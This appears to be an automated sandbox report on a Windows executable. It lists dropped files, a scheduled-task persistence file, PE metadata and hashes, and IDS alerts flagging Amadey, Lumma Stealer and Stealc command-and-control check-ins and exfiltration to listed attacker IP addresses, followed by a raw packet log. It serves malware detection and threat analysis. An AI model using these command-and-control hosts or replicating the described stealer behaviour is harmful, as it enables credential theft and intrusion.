Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10539
Entropy (8bit):	5.4995725060851886
Encrypted:	false
SSDEEP:	192:NzOneRdkYbBp6nnmUzaX/6aRMKWPzDNBw8dK9mSl:NzQe4mUtomrwbw0
MD5:	608115CDF3CC6086D4262E2EF0A54E77
SHA1:	5A5DC9A8BF2382594588F9B82B591554393C065D
SHA-256:	2CF74311C9D1254EC6DF1D362D3E335E124852F9291F4041E65F52FE6DE24668
SHA-512:	D89FE12A5589621D24BBCF1C30EE0E86FE55A7E394B1DC4F6B452CDE82CD7E37196F1820B35DADB2227F9EF07BD45AFC987D852E7EDE46F7392FF7489AAA3C44
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\2fQ8fpTWAP.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4127411339479545
Encrypted:	false
SSDEEP:	6:ng1lTX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB3ut0:07BQ1CGAFBZgtVB3ut0
MD5:	8FF616E2CA9B302326F00FAF8CD12EB3
SHA1:	A6B0D12635372B8814AC1DA8B397B7F56F9CCD26
SHA-256:	0CBD11C37CB468360CDAC04B6533ADD19BEABB2AC944C673270B182C436E7CC7
SHA-512:	EB9DD9FFE1EC1701E878AAB68F73DC4BF8B39B6388391C477D4FC92E28153C3D43C283B059AC846F1D7B79DE179B90943B95E097B5F9C85D1C2E0AFB2C451EB6
Malicious:	false
Preview:	.........kDH._h.P...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950781127124509
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2fQ8fpTWAP.exe
File size:	1'887'744 bytes
MD5:	72683bf9c6f350a7af5d18a98462fcdf
SHA1:	1fd96a421e53351f72998a1a72f923b36e866a0b
SHA256:	dfc453c8498400fd0f9cd272a842f6e4893a362e9476764a6aec751b224c7eb3
SHA512:	989da907980a4bfab558aed381271e77a77fce8b88458767bdf9d893c540f95ea87f9b81388f4558e27e1b9316fe5df5974481c39a45186e7770826a9c54557d
SSDEEP:	49152:eu/AKF/HKZIZwiv29BZlYif1AYO5regp:F/AE/HmIiie9TlYC1Anreg
TLSH:	DB9533451AB02271E33B63BE4E5E5AA334E07A8336D84E217D2D763D4F27A39376146C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7A2D126CDAh
shrd dword ptr [eax+eax], ebx, 00000000h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b70bc	0x10	bwkbkxir
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b706c	0x18	bwkbkxir
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	05eb79a352bf87bc4c2f0da32d17a995	False	0.9979564032697548	data	7.978435904623713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b1000	0x200	80a46358757aaf7d6828d93277e49b26	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bwkbkxir	0x31c000	0x19c000	0x19b200	fa26bba935f06c2f87943fc0ec6ec3c9	False	0.9947653399589541	data	7.954110214651045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pbwruhnr	0x4b8000	0x1000	0x400	1a02bb58c8ca65242d6d6f0eb5ea458d	False	0.759765625	data	6.0429852313393075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b9000	0x3000	0x2200	89eb02543af29da1d797c6eed11b57ce	False	0.05951286764705882	DOS executable (COM)	0.7166811427414496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T21:15:07.074774+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49709	185.215.113.43	80	TCP
2024-11-23T21:15:11.798429+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49711	185.215.113.16	80	TCP
2024-11-23T21:15:17.596478+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49710	TCP
2024-11-23T21:15:17.924994+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:18.624499+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:18.624499+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:19.023783+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49713	185.215.113.43	80	TCP
2024-11-23T21:15:20.044842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:20.613029+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49715	185.215.113.16	80	TCP
2024-11-23T21:15:20.803738+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:20.803738+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:22.399529+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49716	172.67.162.84	443	TCP
2024-11-23T21:15:23.406287+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49716	172.67.162.84	443	TCP
2024-11-23T21:15:25.066584+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49717	172.67.162.84	443	TCP
2024-11-23T21:15:27.948523+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49720	172.67.162.84	443	TCP
2024-11-23T21:15:28.170302+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49721	185.215.113.43	80	TCP
2024-11-23T21:15:28.464726+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49719	185.215.113.206	80	TCP
2024-11-23T21:15:29.757708+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49728	185.215.113.16	80	TCP
2024-11-23T21:15:30.641372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49729	172.67.162.84	443	TCP
2024-11-23T21:15:32.992623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49736	172.67.162.84	443	TCP
2024-11-23T21:15:33.680570+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49736	172.67.162.84	443	TCP
2024-11-23T21:15:33.680570+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49736	172.67.162.84	443	TCP
2024-11-23T21:15:34.032630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49742	172.67.162.84	443	TCP
2024-11-23T21:15:35.020615+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49743	172.67.162.84	443	TCP
2024-11-23T21:15:35.536219+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49744	185.215.113.43	80	TCP
2024-11-23T21:15:36.145400+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49743	172.67.162.84	443	TCP
2024-11-23T21:15:36.145400+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49743	172.67.162.84	443	TCP
2024-11-23T21:15:38.295479+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49750	185.215.113.16	80	TCP
2024-11-23T21:15:39.376580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49761	172.67.162.84	443	TCP
2024-11-23T21:15:40.900755+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49763	172.67.162.84	443	TCP
2024-11-23T21:15:41.625958+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49763	172.67.162.84	443	TCP
2024-11-23T21:15:43.221895+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49771	185.215.113.16	80	TCP
2024-11-23T21:15:43.342575+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49772	172.67.162.84	443	TCP
2024-11-23T21:15:45.086395+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49778	185.215.113.206	80	TCP
2024-11-23T21:15:46.608807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49788	172.67.162.84	443	TCP
2024-11-23T21:15:47.283770+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49790	185.215.113.43	80	TCP
2024-11-23T21:15:51.447850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49808	172.67.162.84	443	TCP
2024-11-23T21:15:54.076707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49815	172.67.162.84	443	TCP
2024-11-23T21:15:54.107729+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49815	172.67.162.84	443	TCP
2024-11-23T21:16:00.878719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49836	172.67.162.84	443	TCP
2024-11-23T21:16:01.622608+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49836	172.67.162.84	443	TCP
2024-11-23T21:16:03.181678+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49846	185.215.113.16	80	TCP
2024-11-23T21:16:12.934483+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49873	185.215.113.206	80	TCP
2024-11-23T21:19:24.824226+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50174	52.168.112.67	443	TCP
2024-11-23T21:20:10.239823+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	50198	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 21:14:01.771584034 CET	49671	443	192.168.2.8	204.79.197.203
Nov 23, 2024 21:14:02.130949020 CET	49677	80	192.168.2.8	192.229.211.108
Nov 23, 2024 21:14:02.880963087 CET	49673	443	192.168.2.8	23.206.229.226
Nov 23, 2024 21:14:03.240375996 CET	49672	443	192.168.2.8	23.206.229.226
Nov 23, 2024 21:14:10.115251064 CET	49676	443	192.168.2.8	52.182.143.211
Nov 23, 2024 21:14:12.490273952 CET	49673	443	192.168.2.8	23.206.229.226
Nov 23, 2024 21:14:12.865288019 CET	49677	80	192.168.2.8	192.229.211.108
Nov 23, 2024 21:14:12.865602016 CET	49672	443	192.168.2.8	23.206.229.226
Nov 23, 2024 21:14:15.423892021 CET	443	49703	23.206.229.226	192.168.2.8
Nov 23, 2024 21:14:15.424037933 CET	49703	443	192.168.2.8	23.206.229.226
Nov 23, 2024 21:14:23.239660025 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:23.239708900 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:23.239789009 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:23.252515078 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:23.252536058 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:25.035713911 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:25.035778999 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:25.038362026 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:25.038371086 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:25.039005995 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:25.084027052 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:26.630328894 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:26.675326109 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258451939 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258487940 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258497000 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258512974 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258558989 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258639097 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:27.258671045 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.258691072 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:27.258733988 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:27.279046059 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.279148102 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:27.279151917 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:27.279220104 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:28.752357006 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:28.752393007 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:14:28.752403975 CET	49704	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:14:28.752410889 CET	443	49704	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:05.272353888 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:05.272413015 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:05.272491932 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:05.273004055 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:05.273015022 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:05.547924042 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:05.671186924 CET	80	49709	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:05.671339035 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:05.671608925 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:05.797847986 CET	80	49709	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:07.009777069 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.009917974 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.013880014 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.013889074 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.014195919 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.018069983 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.063340902 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.072993040 CET	80	49709	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:07.074774027 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:07.705887079 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.705907106 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.705921888 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.706011057 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.706029892 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.706067085 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.706110001 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750147104 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.750200987 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.750217915 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750226021 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.750283957 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750283957 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.750333071 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750467062 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750478029 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:07.750485897 CET	49708	443	192.168.2.8	172.202.163.200
Nov 23, 2024 21:15:07.750489950 CET	443	49708	172.202.163.200	192.168.2.8
Nov 23, 2024 21:15:08.585094929 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:08.585432053 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:08.704937935 CET	80	49709	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:08.704972982 CET	80	49710	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:08.705032110 CET	49709	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:08.705089092 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:08.705357075 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:09.068551064 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:09.104644060 CET	80	49710	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:09.188422918 CET	80	49710	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:10.060102940 CET	80	49710	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:10.060241938 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:10.298563004 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:10.418498993 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:10.418576956 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:10.418817043 CET	49711	80	192.168.2.8	185.215.113.16
